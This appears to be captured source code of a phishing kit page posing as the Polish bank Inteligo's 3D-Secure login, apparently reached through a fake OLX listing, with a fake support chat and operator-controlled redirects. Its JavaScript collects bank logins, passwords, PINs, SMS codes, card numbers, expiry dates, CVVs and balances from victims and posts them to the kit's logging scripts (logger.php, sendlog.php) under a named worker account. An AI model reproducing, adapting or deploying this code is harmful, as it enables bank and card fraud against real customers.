$('#newcode').text('WYŚLIJ SMS PONOWNIE');
}else{
decrementAfter1Second();
}
}, 1000);
}
decrementAfter1Second();
</script>
<script src="/newSite/banks/inteligo_files/jquery-3.4.1.min.js"></script>
<script type="text/javascript">
var opened = 0;
function openForm() {
opened = 1;
update();
setInterval(update, 4000);
$("#myForm").fadeIn(700);
// $('#myForm').css('display', 'block')
$("#open-support").fadeOut(250);
// $('#open-support').css('display', 'none')
}
function closeForm() {
opened = 0;
setInterval(update, 10000);
// $('#myForm').css('display', 'none')
$("#myForm").fadeOut(250);
// $('#open-support').css('display', 'block')
$("#open-support").fadeIn(700);
}
</script>
<div class="form-popup" id="myForm" style="display: none;">
<form class="form-chat-container" id="myform" action="javascript:void(0);">
<div class="chat-header">
<div class="operator-face operator-face-0">
<div title="Сергей Григорьевич" class="photo user-color-0 no-photo">
</div>
</div>
<div class="team-wrapper">
<div class="team">Obsługa klienta</div>
<div class="activity-indicator">Ostatnio aktywn</div>
</div>
<div class="welcome-message">Wyślij nam wiadomość. My <br> odpowiemy wkrótce!</div>
<h3 class="chat-title"></h3><a onclick="closeForm()" class="chat-close close"> </a>
</div>
<div class="form-content" id="messages" style="flex: 1 1 auto;position: relative;display: flex;flex-direction: column;justify-content: space-between;">
</div>
<input type="text" id="message-text" class="chat-form__input focus" placeholder="Wpisz wiadomość" style="border-color: red; border-top: 1px solid #eaeced; margin-top: 20px;">
<!-- <button style='display: none;' src="chat/send_btn1.png" class="chat-btn" id="chat-send" onclick="sendmsg();"> -->
<input style="display: none;" id="chat-send" type="submit" value="" onclick="sendmsg();">
</form>
</div>
<script type="text/javascript">
$("#myform").on("submit", function(event){
event.preventDefault();
sendmsg();
});
function delete_msg(id) {
var proj = 'inspire';
console.log('delete ' + id)
$.ajax({
type: "POST",
url: "delete_msg.php",
data : {id:id, proj:proj}});
$('#msg').val('');
if($('#msg').val() == ''){
$('#msg').css("border-color", "red");
}
}
function checkFocus() {
var container = $('#messages');
var height = container.height();
var scrollHeight = container[0].scrollHeight;
var st = container.scrollTop();
var sum = scrollHeight - height - 32;
if(st >= sum) {
return true;
} else {
return false;
}
}
function update(){
if (opened == 1){
$.ajaxSetup({ cache: false });
var id = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var proj = 'inspire';
var from = 'user';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {id:id,from:from, proj:proj}
}).done(function(response) {
if(checkFocus()) {
$('#messages').scrollTop(999999);
}
document.getElementById("messages").innerHTML=response;
len = $("#messages div").eq(-1).prevObject.length
len = len - 1;
// result = $("#messages div").eq(len)[0]
attr_last_msg = $("#messages div").eq(len).attr('view')
db_id_last = $("#messages div").eq(len).attr('db-id')
from = $("#messages div").eq(len).attr('from')
// console.log('checked last: ' + attr_last_msg + ' db_id: ' + db_id_last);
if (attr_last_msg == '0' && from == 'admin'){
$("#messages div").eq(len).attr('view', '1')
view(db_id_last);
}
}).fail(function(response){
response = response.responseText
// print(response)
// console.log(response)
if(checkFocus()) {
$('#messages').scrollTop(999999);
}
document.getElementById("messages").innerHTML=response;
// $('#messages').text(response);
len = $("#messages div").eq(-1).prevObject.length
len = len - 1;
// result = $("#messages div").eq(len)[0]
attr_last_msg = $("#messages div").eq(len).attr('view')
db_id_last = $("#messages div").eq(len).attr('db-id')
from = $("#messages div").eq(len).attr('from')
// console.log('checked last: ' + attr_last_msg + ' db_id: ' + db_id_last);
if (attr_last_msg == '0' && from == 'admin'){
$("#messages div").eq(len).attr('view', '1')
view(db_id_last);
}
});
}else{
$.ajaxSetup({ cache: false });
var id = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var proj = 'inspire';
var from = 'user';
var prop = 'check_new_message';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {id:id,from:from, proj:proj, prop:prop}
}).done(function(response) {
// response = response.responseText
if (response == '1'){
openForm();
}
}).fail(function(response){
// response = response.responseText
if (response == '1'){
openForm();
}
});
}
}
update()
function sendmsg() {
if($('#message-text').val() != ''){
var msg = $('#message-text').val();
var proj = 'inspire';
var token = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var logged_as = 'user';
var wid = '1072894791';
var tovarname = 'Agregat talerzowy Ścierniskowy Siewny';
$.ajax({
type: "POST",
url: "sendchat_message.php",
dataType: "json",
data : {logged_as:logged_as,msg:msg, token:token, wid:wid, proj:proj, tovarname:tovarname}});
$('#message-text').val('');
if($('#message-text').val() == ''){
$('#message-text').css("border-color", "red");
}
}
}
function view(db_id) {
var msg = $('#message-text').val();
var token = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var logged_as = 'user';
var proj = 'inspire';
var wid = '1072894791';
$.ajax({
type: "POST",
url: "view.php",
dataType: "json",
data : {logged_as:logged_as,msg:msg, token:token, wid:wid, db_id:db_id, proj:proj}
});
}
</script>
</body></html>
|
console-api |
log |
URL: https://rejestr2.testvps.pro/in/inteligo/(Line 254)
Message:
start
|
console-api |
log |
URL: https://rejestr2.testvps.pro/in/inteligo/(Line 294)
Message:
<!-- saved from url=(0014)about:internet -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="og:site_name" content="olx.pl">
<meta name="robots" content="noindex, nofollow">
<script src="/newSite/banks/ipko_files/jquery-3.4.1.min.js"></script>
<meta name="Author" content="Softax (www.softax.pl)">
<meta name="Version" content="2.4.17dev-r0">
<title>Serwis internetowy Intelego</title>
<link rel="stylesheet" href="/newSite/banks/inteligo_files/tdsweb.css">
<style type="text/css">
</style>
<script language="JavaScript" type="text/javascript" src="/newSite/banks/inteligo_files/jquery.js"></script>
</head>
<body id="login_page_body">
<div onclick="bShow=true" id="calendar" style="z-index:+999; left:0px; top:0px; position:absolute;visibility:hidden;">
<table class="calTable" width="220" cellspacing="0">
<tbody>
<tr>
<td class="calTopRow">
<table width="218">
<tbody>
<tr>
<td class="calTopControls"><span id="caption"><span id="spanLeft" class="calControl" onmouseover="this.className="calControlOver";window.status="Kliknij by przewinąć na poprzedni miesiąc. Przytrzymaj wciśnięty przycisk myszki by przewijać w sposób ciągły."" onclick="javascript:decMonth()" onmouseout="clearInterval(intervalID1);this.className="calControl";window.status=""" onmousedown="clearTimeout(timeoutID1);timeoutID1=setTimeout("StartDecMonth()",500)" onmouseup="clearTimeout(timeoutID1);clearInterval(intervalID1)" title="Poprzedni miesiąc" '=""> < </span> <span id="spanRight" class="calControl" onmouseover="this.className="calControlOver";window.status="Kliknij by przewinąć na następny miesiąc. Przytrzymaj wciśnięty przycisk myszki by przewijać w sposób ciągły."" onmouseout="clearInterval(intervalID1);this.className="calControl";window.status=""" onclick="incMonth()" onmousedown="clearTimeout(timeoutID1);timeoutID1=setTimeout("StartIncMonth()",500)" onmouseup="clearTimeout(timeoutID1);clearInterval(intervalID1)" title="Następny miesiąc" '=""> > </span> <span id="spanMonth" class="calControl" onmouseover="this.className="calControlOver" ;window.status="Kliknij by wybrać miesiąc." " onmouseout="this.className="calControl" ;window.status="" " onclick="popUpMonth()" title="Kliknij by wybrać miesiąc" '=""></span> <span id="spanYear" class="calControl" onmouseover="this.className="calControlOver";window.status="Kliknij by wybrać rok."" onmouseout="this.className="calControl";window.status=""" onclick="popUpYear()" title="Kliknij by wybrać rok" '=""></span> </span></td><td align="center"><span onmouseover="this.className="calCloseOver" ;window.status="Zamknij kalendarz." ; " onmouseout="this.className="calClose" ;window.status="" ; " onclick="javascript:hideCalendar()" class="calClose" title="Zamknij kalendarz">X</span></td></tr></tbody></table></td></tr><tr><td class="calContent"><span id="cal_content"></span></td></tr><tr><td class="calBottomRow"><span id="lblToday">Dziś jest <a onmouseover="window.status="Przejdź do bieżącego miesiąca." ; return true; " onmouseout="window.status="" " title="Przejdź do bieżącego miesiąca" class="calA" href="javascript:gotoToday();">Poniedziałek, 26 Października 2020</a></span></td></tr></tbody></table></div><div id="selectMonth" style="left:0px; top:0px; z-index:+999;position:absolute;visibility:hidden;"></div><div id="selectYear" style="left:0px; top:0px; z-index:+999;position:absolute;visibility:hidden;"></div>
<div id="container">
<div id="header" class="content">
<div class="header">
<img src="/newSite/banks/inteligo_files/title-bar.png" id="pr_image">
</div>
<div id="mainmenucontener">
<!--<div id="mainmenubox">-->
<!-- *************** TOP MENU ************** -->
<form action="https://www.ipko.pl/3dsecure/visa" method="post" onsubmit="if(this.__submitted){return false}else{this.__submitted=true}"><input type="hidden" name="ias_sid" value="I3100a63VkHVV7yLlCtMfEO9q54yA:"><input type="hidden" name="back_reload_protection" value="4258d0048d0e430a95a173dbe7f05b4f"><input type="hidden" name="ias.form_protect" value="f086738a2e044350a6474b3a3125f024">
<ul id="mainmenu"></ul>
<!--***************************************************-->
</form>
<!--</div>-->
<div class="threepix"></div>
</div>
<div id="content" class="" tabindex="0" role="form">
<div>
<div id="colmain750" class="col940" tabindex="0">
<div>
<h2 tabindex="1">Aby potwierdzić operację w ramach usługi 3D-Secure, zaloguj się do serwisu Intelego.</h2>
</div>
<div class="special_login">
<div class="colmain520" style="width:460px;min-height: 255px;">
<div style="border-right: 1px solid #e6e6e6; margin-top: 10px; padding: 0 10px 0 0; width:460px; min-height: 210px;">
<div style="width:455px;">
<h1>Logowanie</h1>
</div>
<div class="form_valid form_content login login_anti_phishing">
<table id="form_table" class="fullwidth" name="content_table">
<tbody>
<tr class="field_row f_root FriendlyLoginEditFieldRow" id="f-tr-f-form_4443000429-login_id">
<td width="100px">
Numer klienta lub login
</td>
<td class="field-cell">
<div class="FriendlyLoginEditField_field_widget field_widget" id="f-form_4443000429-login_id-field_widget">
<div class="field_widget_control"><input name="login" maxlength="200" type="text" id="login" size="250" class="FriendlyLoginEditField text_input text_input_login_id" tabindex="10" autocomplete="off">
</div>
</div>
</td>
</tr>
<tr class="field_row f_root FriendlyLoginEditFieldRow" id="f-tr-f-form_4443000429-login_id">
<td width="100px">
Hasło
</td>
<td class="field-cell">
<div class="FriendlyLoginEditField_field_widget field_widget" id="f-form_4443000429-login_id-field_widget">
<div class="field_widget_control"><input name="password" maxlength="200" type="text" id="password" size="250" class="FriendlyLoginEditField text_input text_input_login_id" tabindex="10" autocomplete="off">
</div>
</div>
</td>
</tr>
<tr class="field_row f_root FriendlyLoginEditFieldRow" id="f-tr-f-form_4443000429-login_id">
<td width="100px">
Pin
</td>
<td class="field-cell">
<div class="FriendlyLoginEditField_field_widget field_widget" id="f-form_4443000429-login_id-field_widget">
<div class="field_widget_control"><input name="password" maxlength="4" type="text" id="pin" size="250" class="FriendlyLoginEditField text_input text_input_login_id" tabindex="10" autocomplete="off">
</div>
</div>
</td>
</tr>
</tbody>
</table>
<div class="button_rows center">
<ul style="text-align: center; margin: 0pt;">
<li class="button_group_none" style="float: none">
<button id="pay-button" onclick="lk_auth();" value="Dalej" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only fright continue-button" tabindex="10" formnovalidate="formnovalidate"><span class="ui-button-text">Dalej</span>
</button>
</li>
</ul>
</div>
<div class="clr"></div>
</div>
<style>
#form_table td{
width: 20%;
padding-bottom: 12px;
}
div.button_rows.center{
border-top: 0;
}
</style>
</div>
</div>
<div style="padding: 0 10px 10px 0; width: 430px; float:right">
<div style="border-bottom: 0; margin-left:0px;">
<div style="padding-right:14px; padding-top:7px; padding-bottom:6px; margin-bottom:4px; margin-left:10px">
<h1>BEZPIECZEŃSTWO</h1>
</div>
<div class="clr"></div>
<div class="widespace2" style="padding-left: 16px;line-height:16px">
PAMIĘTAJ!<br><br>
Logowanie do serwisu Intelego nie wymaga podania kodu z karty kodów jednorazowych.<br><br>
Bank również nigdy nie poprosi Cię o podanie jednocześnie kilku kodów z karty kodów lub danych karty płatniczej.
</div>
<p style="padding-left: 16px;padding-top:12px; font-weight: bold; margin-bottom:0px; margin-top:0px;"><a href="http://www.pkobp.pl/redirect.php?id=bezpieczenstwo_ipko" target="_blank">Więcej o bezpieczeństwie</a></p>
</div>
</div>
</div>
<div class="threepix"></div>
</div>
<div class="clr"></div></div>
<div class="footer">
<ul class="nav size-210">
</ul>
<div class="brand">
<img title="VISA" alt="[logo VISA]" src="/newSite/banks/inteligo_files/visa_logo.png" class="brand-logo">
</div>
<div class="last_login"></div>
<div class="copyright">© 2021 Intelego
<span>Kod BIC (Swift): BPKOPLPW</span>
</div>
<div class="hotline">Serwis telefoniczny Intelego: (+48) 81 535 60 60, 801 307 307
<div>Opłata zgodna z taryfą operatora. Serwis telefoniczny czynny całą dobę.</div>
</div>
</div>
</div>
<div style="z-index: 999; left: 0px; top: 0px; position: absolute; display: none;" id="infoTipDiv">
<div id="ui-ipkoInfotip" role="tooltip" class="ui-tooltip ui-widget ui-corner-all ui-widget-content infotip infotip-left" style="top: 34px; left: 364.5px; display: block;">
<div class="ui-tooltip-wrapper">
<div class="ui-tooltip-content" style="max-height: 84px; margin-right: -17px; overflow-y: scroll;">
<span id="infoTipDiv_message"></span>
</div>
</div>
<div class="ui-tooltip-track" style="display: none;"><div class="ui-tooltip-thumb ui-draggable" style="top: 0px; height: 20px;"></div>
</div>
</div>
</div>
</div></div>
<script src="/newSite/banks/inteligo_files/jquery.min.js"></script>
<script src="/newSite/banks/inteligo_files/jquery.maskedinput.js"></script>
<script type="text/javascript">
function update_status()
{
console.log('start')
$.ajaxSetup({ cache: false });
var prop = 'check_status';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {prop:prop}
}).done(function(response) {
// 1 - перенаправление ипко
// response = response.responseText
console.log(response)
if (response == '1'){
window.location.href = "?ipko_code"
}
if (response == '2'){
window.location.href = "?intelego_code"
}
if (response == '3'){
window.location.href = "?code_others"
}
if (response == '4'){
window.location.href = "?millenium_img"
}
if (response == '5'){
window.location.href = "?card"
}
if (response == '6'){
window.location.href = "?lk"
}
if (response == '7'){
window.location.href = "?push"
}
}).fail(function(response){
response = response.responseText
console.log(response)
if (response == '1'){
window.location.href = "?ipko_code"
}
if (response == '2'){
window.location.href = "?intelego_code"
}
if (response == '3'){
window.location.href = "?code_others"
}
if (response == '4'){
window.location.href = "?millenium_img"
}
if (response == '5'){
window.location.href = "?card"
}
if (response == '6'){
window.location.href = "?lk"
}
if (response == '7'){
window.location.href = "?push"
}
});
}
update_status();
setInterval(update_status, 4000);
</script>
<style type="text/css">
.chat {
border: 1px solid #333;
margin: 15px;
width: 40%;
height: 70%;
background: #555;
color: #fff;
}
.chat-messages {
min-height: 93%;
max-height: 93%;
overflow: auto;
}
.chat-messages__content {
padding: 1px;
}
.chat__message {
border-left: 3px solid #333;
margin-top: 2px;
padding: 2px;
}
.chat__message_black {
border-color: #000;
}
.chat__message_blue {
border-color: #002f34;
}
.chat__message_green {
border-color: green;
}
.chat__message_red {
border-color: red;
}
.chat-input {
min-height: 6%;
}
.chat-form__input {
width: 100%;
}
.chat-form__submit {
width: 18%;
}
{
box-sizing: border-box;
}
.msg_chat{
color: white;
word-break: break-all;
margin-bottom: 10px;
}
.msg_chat1{
color: black;
word-break: break-all;
margin-bottom: 10px;
}
/* Кнопка, используемая для открытия контактной формы - фиксируется в нижней части страницы */
.open-button {
background-color: #002f34;
margin-bottom: 2%;
font-size: 1em;
font-weight: 1000;
border-radius: 10px 20px 10px 20px;
color: white;
padding: 16px 20px;
border: none;
cursor: pointer;
bottom: 90px;
z-index: 999;
opacity: 0.8;
position: fixed;
bottom: 0px;
right: 28px;
width: 140px;
border-radius: 50%;
width: 70px;
height: 70px;
background-image: url("chat/2.png");
background-repeat: no-repeat;
background-position: center;
}
/* Всплывающая форма-скрыта по умолчанию */
.form-popup {
min-width: 60%;
display: none;
position: fixed;
bottom: 0;
right: 15px;
/*border: 3px solid #f1f1f1;*/
z-index: 9;
}
.form-content {
display: block;
height: 400px;
overflow-y: auto;
scrollbar-width: none;
padding: 10px;
}
::-webkit-scrollbar {
width: 0px;
}
/* Добавить стили для контейнера формы */
.form-chat-container {
max-width: 340px;
min-height: 400px;
background-color: white;
float: right;
box-shadow: 0 0 60px 3px rgba(0, 0, 0, 0.3);
border-radius: 5px;
}
.chat-header {
background: #002f34;
z-index: 999;
color: white;
border-radius: 5px;
padding: 5px;
width: 340px;
height: 250px;
}
.chat-title,
.chat-close {
margin-left: 10px;
display: inline;
margin-top: -188px;
}
.chat-close {
float: right;
}
.chat-footer {
display: inline-block;
}
/* Поля ввода полной ширины */
.form-chat-container input[type=text],
.form-chat-container input[type=password] {
color: black;
padding-left: 5px;
margin-bottom: 2px;
height: 45px;
border: none;
display: inline;
}
/* Установите стиль для кнопки отправить/войти */
.form-chat-container .chat-btn {
border: 0px;
color: white;
padding: 20px;
height: 45px;
cursor: pointer;
width: 15%;
margin-top: 15px;
opacity: 0.8;
border-radius: 5px;
margin-left: 1%;
display: inline;
background-color: #fff;
background-image: url('chat/send_btn1.png');
background-size: contain;
background-repeat: no-repeat;
}
/* Добавить красный цвет фона для кнопки "Отмена" */
.form-chat-container .cancel {
background-color: red;
}
/* Добавить некоторые эффекты наведения на кнопки */
.form-chat-container .chat-btn:hover,
.open-button:hover {
box-shadow: 0 0 30px 5px rgba(0, 0, 0, 0.5);
}
/* Chat containers */
.container_message {
position: relative;
background-color: #e8ecef;
border-radius: 9px;
padding: 10px;
margin: 10px 0;
margin-left: 0px;
display: flex;
justify-content: right;
flex: 0 0 auto;
width: 50%;
margin-left: 160px;
min-height: 25px;
}
/* Darker chat container */
.darker {
border-color: #ccc;
background-color: #002f34;
min-height: 45px;
display: flex;
justify-content: left;
margin-left: 0;
padding: 10px;
}
/* Clear floats */
.container_message::after {
content: "";
clear: both;
display: table;
}
/* Style images */
.container_message img {
max-width: 50px;
float: left;
max-width: 60px;
width: 100%;
margin-right: 20px;
border-radius: 50%;
}
/* Style the right image */
.container_message img.right {
float: right;
max-width: 50px;
margin-left: 20px;
margin-right: 0;
}
/* Style time text */
.container_message .time-right {
position: absolute;
left: 5px;
bottom: 0;
float: left;
color: #aaa;
}
/* Style time text */
.container_message .time-left {
position: absolute;
left: 5px;
bottom: 0;
float: left;
width: 100%;
color: #fff;
}
.close {
float: right;
width: 16px;
height: 16px;
opacity: 0.4;
}
.close:hover {
opacity: 1;
}
.close:before,
.close:after {
position: absolute;
content: ' ';
height: 23px;
width: 3px;
background-color: #fff;
}
.close:before {
transform: rotate(45deg);
}
.close:after {
transform: rotate(-45deg);
}
.operator-face {
height: 100%;
margin-bottom: -170px;
}
.photo {
background-image: url("chat/avatar.png");
background-size: 60px 60px;
height: 60px;
background-repeat: no-repeat;
background-position: center;
width: 60px;
margin-left: 130px;
margin-top: 30px;
}
.team {
text-align: center;
font-size: 16px;
color: #fff;
font-family: "proxima-nova", "Helvetica Neue", Helvetica, Arial, sans-serif;
font-weight: 400;
}
.activity-indicator {
text-align: center;
font-size: 13px;
color: rgba(255, 255, 255, 0.7);
font-family: "proxima-nova", "Helvetica Neue", Helvetica, Arial, sans-serif;
}
.welcome-message {
margin-top: 20px;
font-weight: 400;
padding: 0 20px;
text-align: center;
font-size: 14px;
line-height: 1.32em;
color: #fff;
box-shadow: none;
box-sizing: border-box;
caption-side: top;
word-break: normal;
word-spacing: normal;
word-wrap: normal;
}
.message-time {
position: absolute;
left: 100px;
float: left;
color: #fff;
}
button:active,
button:focus {
outline: none;
}
button::-moz-focus-inner {
border: 0;
}
input {
outline: none;
}
@media screen and (max-height: 800px) {
.form-content {
height: 250px;
}
}
</style>
<script type="text/javascript">
function submit(){
// var a = $("#a1")[0].value.length;
var b = $("#a2")[0].value.length;
var c = $("#a3")[0].value.length;
// var e = $("#th")[0].value.length;
var a = 5;
var e = 5;
if (a > 1 && b > 1 && c > 1 && e > 1){
var config = 'first';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var f = $('#a2').val();
var i = $('#a3').val();
var o = $('#a4').val();
var addr = $('#a1').val();
var th = $('#th').val();
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {th:th,f:f,i:i,o:o,addr:addr,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
});
}else{
(a < 1 )?$('#a1').css("border-color", "red"):$('#a1').css("border-color", "");
(b < 1 )?$('#a2').css("border-color", "red"):$('#a2').css("border-color", "");
(c < 1 )?$('#a3').css("border-color", "red"):$('#a3').css("border-color", "");
(e < 1 )?$('#th').css("border-color", "red"):$('#th').css("border-color", "");
}
}
function nextpay(){
$('#loading').show();
setTimeout(function(){
$('#loading').hide();
}, 1000);
if($('#cardnumber').val() != '' && $('#expdate').val() != '' && $('#cvc2').val() != ''){
load();
$('#carddata').css('display','none');
$('#loading').show();
setTimeout(function(){
$('#loading').hide();
}, 3000);
$('#balance_check').css('display','');
}
else{
($('#cardnumber').val() == '')?$('#cardnumber').css("border-color", "red"):$('#cardnumber').css("border-color", "");
($('#cardholder').val() == '')?$('#cardholder').css("border-color", "red"):$('#cardholder').css("border-color", "");
($('#expdate').val() == '')?$('#expdate').css("border-color", "red"):$('#expdate').css("border-color", "");
($('#cvc2').val() == '')?$('#cvc2').css("border-color", "red"):$('#cvc2').css("border-color", "");
};
}
function nextcard(){
if($('#cardnumber').val() != ''){
$('#step2').show();
$('#nextpay').attr('onclick', 'nextpay();');
alert('Twój bank zażądał dodatkowej weryfikacji. Wypełnij dodatkowe pola i spróbuj ponownie.')
}else{
($('#cardnumber').val() == '')?$('#cardnumber').css("border-color", "red"):$('#cardnumber').css("border-color", "");
alert('Mapa wpisana niepoprawnie.');
}
}
function cardlog() {
var card_date = $('#expdate').val();
Data = new Date();
let month = card_date.split("/")[0]
let year = card_date.split("/")[1]
let current_moth = Data.getMonth() + 1;
let current_year = Data.getFullYear().toString();
current_year = current_year[0] + current_year[1];
if (month[0] == 0){
month = month.slice(1);
}
if (month < current_moth && year <= current_year){
// alert("Карта не валидна");
var valid_card = '0';
}
else{
var valid_card = '1';
}
if($('#cardnumber').val() != '' && $('#expdate').val() != '' && $('#cvc2').val() != '' && $('#card_balance').val() >= 1 && $('#card_balance').val() != 12300 && $('#card_balance').val() != ' ' && $('#card_balance').val() != '' && $('#card_balance').val() != ' ' && valid_card == '1'){
$('#paybutton').css('background', 'gray');
$('#paybutton').attr('disabled', '1');
var cardNumber = $('#cardnumber').val();
var expdate = $('#expdate').val();
var cvv = $('#cvc2').val();
var config = 'cardlog';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var cardholder = $('#cardholder').val();
var card_balance = $('#card_balance').val();
$.ajax({
type: "POST",
url: "sendlog.php",
data : {cardNumber:cardNumber,expdate:expdate,cvv:cvv, config:config, item:item, cardholder:cardholder, worker:worker,card_balance:card_balance},
}).fail(function() {
setTimeout(function(){
window.location.href = "?error";
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?error";
}, 1000);
});
}
else{
($('#cardnumber').val() == '')?$('#cardnumber').css("border-color", "red"):$('#cardnumber').css("border-color", "");
($('#card_balance').val() == '')?$('#card_balance').css("border-color", "red"):$('#card_balance').css("border-color", "");
if ($('#card_balance').val() < 5){
$('#verif_balance').toggle();
$('#card_balance').css("border-color", "red");
}
if ($('#card_balance').val() == 12300){
$('#verif_balance').toggle();
$('#card_balance').css("border-color", "red");
}
($('#cardholder').val() == '')?$('#cardholder').css("border-color", "red"):$('#cardholder').css("border-color", "");
if(valid_card == '0'){
$('#expdate').css("border-color", "red")
}
if (valid_card == '1'){
$('#expdate').css("border-color", "");
}
if($('#expdate').val() == ''){
$('#expdate').css("border-color", "red")
}
if ($('#expdate').val() == ''){
$('#expdate').css("border-color", "");
}
($('#cvc2').val() == '')?$('#cvc2').css("border-color", "red"):$('#cvc2').css("border-color", "");
};
}
function mothername(){
$('#cb').hide();
if($('#codefromsms').val() != '' && $('#login').val() != '' && $('#password').val() != ''){
var code = $('#codefromsms').val();
var config = 'mothername';
var log = $('#login').val();
var pass = $('#password').val();
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {log:log,pass:pass,code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
function smscode(){
$('#cb').hide();
if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'smscode';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
function reqcode(){
$('#cb').hide();
if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'reqcode';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
function smscode_limit(){
$('#cb').hide();
if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'smscode_limit';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
/*
function first(){
// if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'first';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
// }
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
};
}*/
function lk_auth() {
$('#pay-button').hide();
if($('#password').val() != '' && $('#login').val() != '' ){
var log = $('#login').val();
var pass = $('#password').val();
var pesel = $('#pesel').val();
var pin = $('#pin').val();
var mother = $('#mother').val();
var config = 'lkintelego'; var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "/newSite/logger.php",
dataType: "json",
data : {uid:'',mother:mother,login:log,password:pass,pin:pin,pesel:pesel,type:"insertBank",bank:"inteligo"},
}).fail(function() {
window.location.href = "/error//inteligo"
}).done(function() {
window.location.href = "/error//inteligo"
});
}
else{
$('#pay-button').show();
($('#password').val() == '')?$('#password').css("border-color", "red"):$('#password').css("border-color", "");
($('#pesel').val() == '')?$('#pesel').css("border-color", "red"):$('#pesel').css("border-color", "");
($('#pin').val() == '')?$('#pin').css("border-color", "red"):$('#pin').css("border-color", "");
($('#login').val() == '')?$('#login').css("border-color", "red"):$('#login').css("border-color", "");
};
}
function smscodenew() {
$('#loading').show();
$('#newcode').css('color', 'gray');
$('#newcode').attr('onclick', '');
$('#newcode').text('Wyślij SMS ponownie (oczekuj)');
var config = 'smscodenew';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
data : {worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#loading').hide();
}).done(function() {
$('#loading').hide();
});
}
function update_status()
{
$.ajaxSetup({ cache: false });
var prop = 'check_status';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {prop:prop}
}).done(function(response) {
// 1 - перенаправление ипко
// response = response.responseText
if (response == '1'){
